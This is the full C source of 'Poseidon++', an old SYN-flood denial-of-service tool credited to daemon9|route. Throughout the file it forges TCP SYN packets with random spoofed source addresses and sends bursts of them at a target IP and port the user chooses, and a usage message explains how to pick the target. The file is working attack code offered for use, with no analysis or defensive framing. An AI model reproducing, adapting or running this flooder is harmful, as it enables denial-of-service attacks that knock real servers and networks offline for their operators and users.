/*
 *  Poseidon++  (c) 1996/7 daemon9|route <route@infonexus.com>
 *  SYN flooder rewritten for no good reason.
 *  Meant to be run from the included tcl/tk interface.
 *  Needs libnet.a.  (http://www.infonexus.com/~daemon9/Projects)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <time.h>
#include "/usr/local/include/libnet.h"


#ifdef STRANGE_BSD_BYTE_ORDERING
/* 
 *  OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0
 */
#define FIX(n)  (n)
#else                   
/*
 *  OpenBSD 2.1+, Linux
 */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING */

void usage(u_char *);
void send_syn(int, u_long, u_short);

struct t_pack
{
    struct ip ip;
    struct tcphdr tcp;
};

int
main(int argc, char **argv)
{
    u_long dst_ip   = 0;
    u_short dst_prt = 0;
    u_char *cp;
    struct timeval seed;
    int i, c, packet_amt, burst_int, sockfd, burst_amt;


    packet_amt  = 0;
    burst_int   = 0;
    burst_amt   = 1;

    if ((sockfd = open_raw_sock()) == -1)
    {
        perror("socket allocation");
        exit(1);
    }

    while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
    {
        switch (c)
        {
            /*
             *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
             *  point cp to the last dot of the IP address/port string and
             *  then seperate them with a NULL byte.  The optarg now points to
             *  just the IP address, and cp points to the port.
             */
            case 't':
                if (!(cp = strrchr(optarg, '.'))) usage(argv[0]);
                *cp++ = 0;
                dst_prt = (u_short)atoi(cp);
                if (!(dst_ip = name_resolve(optarg)))
                {
                    fprintf(stderr, "Bad IP address: %s\n", optarg);
                    exit(1);
                }
                break;

            case 'a':
                packet_amt  = atoi(optarg);
                break;

            case 'i':
                burst_int   = atoi(optarg);
                break;

            case 'b':
                burst_amt   = atoi(optarg);
                break;

            default:
                usage(argv[0]);
        }
    }

    if (!dst_prt || !dst_ip || !packet_amt) usage(argv[0]);

    if (gettimeofday(&seed, NULL) == -1)
    {
        perror("gettimeofday choked");
        exit(1);
    }

    /*
     *  More entropy then just seeding random(3) with time(2).
     */
    srandom((unsigned)(seed.tv_sec ^ seed.tv_usec));

    for(;burst_amt--;)
    {
        for (i = 0; i < packet_amt; i++)
        {
            send_syn(sockfd, dst_ip, dst_prt);
        }
        sleep(burst_int);
    }

    exit(0);
}


void
send_syn(int sock, u_long dst_ip, u_short dst_prt)
{
    struct t_pack pak;
    struct sockaddr_in sin;
    u_long src_ip;

    sin.sin_family      = AF_INET;
    sin.sin_port        = 12;
    sin.sin_addr.s_addr = dst_ip;

    src_ip = random();

    bzero(&pak, sizeof(pak));

    pak.ip.ip_v          = 0x4;
    pak.ip.ip_hl         = 0x5;
    pak.ip.ip_len        = FIX(40);
    pak.ip.ip_id         = (random() % 65535);
    pak.ip.ip_ttl        = 20 + (random() % (255 - 20));
    pak.ip.ip_p          = IPPROTO_TCP;
    pak.ip.ip_src.s_addr = src_ip;
    pak.ip.ip_dst.s_addr = dst_ip;

    pak.tcp.th_sport     = (random() % 65535);
    pak.tcp.th_dport     = htons(dst_prt);
    pak.tcp.th_seq       = random();
    pak.tcp.th_off       = 0x5;
    pak.tcp.th_flags     |= TH_SYN;
    pak.tcp.th_win       = (random() % 65535);
    pak.tcp.th_sum       = tcp_check(&pak.tcp, 20, src_ip, dst_ip);

    if ((sendto(sock, &pak, 40, 0,(struct sockaddr *)&sin,sizeof(sin))) < 40)
    {
        perror("sendto");
        exit(0);
    }
    usleep(250);

    printf("%15s:%5d ------> %15s:%5d\n", 
                                host_lookup(src_ip), ntohs(pak.tcp.th_sport),
                                host_lookup(dst_ip), ntohs(pak.tcp.th_dport));

}
 

void
usage(u_char *nomenclature)
{
    fprintf(stderr,
        "\n\nusage: %s -t -a [-i -b]\n"
        "\t-t target, (ip.address.port: 192.168.2..6.23)\n"
        "\t-a number of packets to send per burst\n"
        "\t-i packet burst sending interval (defaults to 0)\n"
        "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);

    exit(0);
}


/* EOF */
